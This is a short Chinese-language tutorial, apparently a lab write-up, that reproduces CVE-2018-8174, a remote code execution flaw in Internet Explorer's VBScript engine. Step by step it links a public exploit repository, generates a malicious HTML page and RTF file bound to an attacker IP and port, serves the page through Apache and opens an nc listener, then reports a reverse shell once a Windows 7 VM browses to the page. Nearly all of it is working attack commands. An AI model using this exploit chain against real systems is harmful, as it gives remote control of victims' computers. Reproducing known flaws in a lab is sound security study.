“CVE-2018-8174这个漏洞是针对IE浏览器的一个远程代码执行漏洞,是Windows VBScript Engine 代码执行漏洞,由于VBScript脚本执行引擎(vbscript.dll)存在代码执行漏洞,攻击者可以将恶意的VBScript嵌入到office文件或者网站中,一旦用户不小心点击,远程攻击者可以获取当前用户权限执行脚本中的恶意代码。
复现环境windows7 kali漏洞复现 0x01：下载CVE-2018-8174文件
下载：https://github.com/Yt1g3r/CVE-2018-8174_EXP
注意：kali无法直接下载可以先下载到本地再拷贝到kali虚拟机
0x02：在CVE-2018-8174文件夹中生产Payload，
命令：python CVE-2018-8174.py -u http://192.168.199.221/exploit.html -o msf.rtf -i 192.168.199.221 -p 9999 格式：python CVE-2018-8174.py -u 生产的Payload -o msf.rtf -i IP地址 -p 监听端口
会生成两个文档
命令：cp exploit.html /var/www/html0x04：重启apache
命令：service apache2 start0x05:开启监听端口
命令：nc -lvnp 99990x06:win7使用IE访问
打开win7虚拟机，使用IE访问http://192.168.199.221/exploit.html
查看kali终端，可以看到反弹shell成功，可以执行命令
~集中起来的意志，可以击穿顽石。
